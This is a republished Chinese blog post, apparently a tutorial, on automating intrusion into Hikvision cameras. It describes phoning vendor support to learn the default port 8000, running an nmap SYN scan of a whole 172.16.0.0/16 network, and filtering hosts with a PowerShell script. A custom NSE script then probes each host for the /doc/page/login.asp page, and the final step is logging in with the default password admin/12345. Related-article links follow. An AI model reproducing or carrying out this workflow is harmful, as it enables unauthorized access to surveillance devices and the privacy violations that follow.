如何自动化入侵海康设备
如果想要入侵每一台互联网设备,知道IP是非常必要的。我通过和客服打电话和自己在网上搜索,有3种方法可取。
1.用专业的海康威视设备搜索工具。比如:iVMS-4200 客户端。
2.也是通过安装海康威视设备搜索工具如:iVMS-4200 客户端。然后设备和安装搜索工具的电脑连接。
3.客服说:所有海康威视的默认连接端口都是8000.利用nmap 扫内网。
如果想要入侵任何网络设备。给客服打电话收集信息是一个非常不错的选择。
以上3个方法我一一尝试:
第一种方法:失败。(因为我要入侵的设备和我不在一个局域网)
第二种方法:需要和设备0距离接触失败。
第三种方法:成功。
接下来就演示我如何自动化入侵海康威视设备的。
nmap 扫整个内网开8000的机器,然后逐一试探。因为8000端口是每个海康设备都会开启的。默认情况下,开启了8000端口,80端口也会开。
1.然后我就用nmap扫了整个内网的8000端口.
1
|
nmap -sS -T5 -p8000 -v -open -sV -oN c:\scan.txt 172.16.0.0/16
|
这么多开8000端口的机器,我一个一个的在网页上试:
试的我好费劲。
2.powershell 过滤IP.
我就想先把开放8000端口的机器都过滤出来,我就拿powershell 写了一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[cmdletbinding()]
param
(
[parameter(Mandatory = $true)]
[Alias('f', 'file')]
[string]$filename,
[parameter(Mandatory = $true)]
[Alias('o', 'output')]
[string]$outputname
)
switch -regex (Get-Content $filename)
{
"(^Nmap scan report for )\b(.*)" { $matches[2] | Out-File -FilePath $outputname -Append}
}
|
注意:此时过滤出来的数据不能直接-iL 这样使用.需要把IP重新复制到另一个txt中,使用-iL参数。
3.写一个nse脚本,批量检测以上IP是否存在http://IP/doc/page/login.asp 页面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
-- The Head Section --
description = [[Sample script to detect a fictional vulnerability in a fictional ArcticFission 1.0 web server
@usage
nmap --script http-vuln-check <target>
@output
PORT STATE SERVICE
80/tcp open http
|_http-vuln-check_packaging: Vulnerable
| VULNERABLE
| ArcticFission 1.0 Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-XXXX-XX
| References:
|_ http://dmzlab.com
author = "iphelix"
license = "Same as Nmap -- See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}
]]
-- The Rule Section --
local shortport = require "shortport" local http = require "http"
local vulns = require "vulns"
portrule = shortport.http
-- The Action Section --
action = function(host, port)
-- 漏洞定义部分 --
local vuln = {
title = "<<<<HIKVISION VULNERABLE>>>>",
state = vulns.STATE.NOT_VULN,
IDS = { CVE = 'CVE-2016-521' }
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local uri = "/doc/page/login.asp"
local options = {header={}}
options['header']['User-Agent'] = "Mozilla/5.0 (compatible; ArcticFission)"
local response = http.get(host, port, uri, options)
if(response.status==200 or response.status==500) then
vuln.state=vulns.STATE.VULN
else
vuln.state=vulns.STATE.NOT_VULN
end
return report:make_output(vuln)
end
|
把该脚本保存为test_jiankong.nse.放到nmap目录下的scripts目录下。
采用命令:
1
|
nmap -sS -T4 -script=test_jiankong -p80 -open -iL c:\test\2.txt -oN c:\test\4.txt
|
扫描刚刚过滤出来开8000端口的机器,是否有http://IP/doc/page/login.asp 页面。如果有提示如下:
4.再次利用上诉powershell脚本。
过滤出有http://IP/doc/page/login.asp 页面的机器.
然后拿浏览器访问该IP。利用弱口令用户名:admin 密码:12345尝试登陆 。
原文地址: http://www.dmzlab.com/77261.html
转载时必须以链接形式注明原始出处及本声明
转载于:https://www.cnblogs.com/wycc/p/7323847.html
如何自动化入侵海康设备相关推荐
- 海康设备通过SDK获取和设置设备网络参数
目录 1.获取网络相关参数 2.设置网络相关参数 1.获取网络相关参数 //获取设备的网络参数private void getNetCfg(int iUserID) {HCNetSDK.NET_DVR ...
- 海康设备接入EasyCVR,出现告警信息缺失且不同步该如何解决?
EasyCVR可支持设备通过国标GB28181.RTMP.RTSP/Onvif.海康SDK.大华SDK.Ehome等协议接入,对外可分发RTSP.RTMP.FLV.HLS.WebRTC等格式的视频流. ...
- LiveNVR监控流媒体Onvif/RTSP功能支持海康摄像头通过海康SDK接入支持回看倍速播放海康设备存储的设备录像
LiveNVR功能支持海康摄像头通过海康SDK接入支持回看倍速播放海康设备存储的设备录像 1.流媒体服务说明 2.支持海康SDK接入 3.查看设备录像 3.1.时间轴模式 3.2.列表模式 4.RTS ...
- 海康设备注册一直失败的问题
今天用JAVA对接海康设备,但是注册一直失败,ip.端口.用户名.密码都是正确的,一直百思不得其解,后来一番查询与排错,终于找到了原因,是因为没有初始化设备 初始化设备的代码(红框里的部分): if ...
- 国标流媒体服务器GB28181协议和海康设备的交互过程记录
国标GB28181协议从2016年更新后,变得比之前更火了,到今年已经4年了,国标视频流媒体服务器基础的功能都已经发展起来,而更深层次的功能还需要进一步的研发. 在日常运用中,海康的摄像头运用较为广泛 ...
- Ehome/ISUP协议海康设备的主动注册管理
第一步:在平台软件所在网络需映射端口 7660(UDP) 54000-65535(TCP+UDP) 第二步:IE登录海康设备,进入海康设备网络--高级设置--平台接入 第三步:接入类型选择EHome或 ...
- 海康设备对接sdk错误码汇总 v6.0
海康设备对接sdk错误码汇总 v6.0
- 使用RTSP协议读海康设备的视频记录
前言 作为一名搞CV的程序员,我们的输入通常就是视频流.我相信很多人都用的OpenCV提供的VideoCapture函数.就我现在的经验来说,该函数支持以下3种输入: # 方式1:填入索引,表示读取设 ...
- 突然想 写个 接口定义 【来源于华为和海康 设备接口同步】
2019独角兽企业重金招聘Python工程师标准>>> 1. 海康主动接口 (由发起方控制设备id,删除也是由发起方控制,这样减少记录第三方的设备id记录) 2.华为被动接口 ( ...
- 对接海康设备-vue
海康官方Demo 海康开放平台 对接海康综合安防管理摄像头 说明:官方Demo是原js代码,自己改改就能用,非常简单,下面这个是改成vue的 浏览器需要装的插件↓↓↓↓ https://downloa ...
最新文章
- dofuscator C# 混淆器 原来如此
- navicat 只对比一张表的数据_Excel VBA批量新建工作表(对比数据透视表的使用)...
- 移动端手指操控左右滑动的菜单
- 【BZOJ】1013 球形空间产生器
- python1到n的所有排列_非递归输出1-N的全排列的方法详解
- 最全Java面试180题:阿里11面试+网易+百度+美团!含答案大赠送!
- js 函数实参列表arguments和形参的那点事儿
- JDBC学习笔记(7)——事务的隔离级别批量处理
- web报表工具FineReport使用中遇到的常见报错及解决办法(一)
- (五)ThinkPHP实践之Session驱动-TTLSA
- Hyperledger Fabric ./byfn.sh -m up -s couchdb Error peer0.org1 failed to join the channel
- android xml 工具下载,安卓xml文件编辑器
- 深度残差网络_深度残差收缩网络:借助注意力机制实现特征的软阈值化
- matconvnet
- 0-50A-400A霍尔电流传感器应用案例分享
- PCIE数据采集软件使用
- Linux常用指令<三>
- 光敏电阻型号怎么命名和其主要参数
- [概念]CSV逗号分隔值
- python 使用pika对接rabbitMQ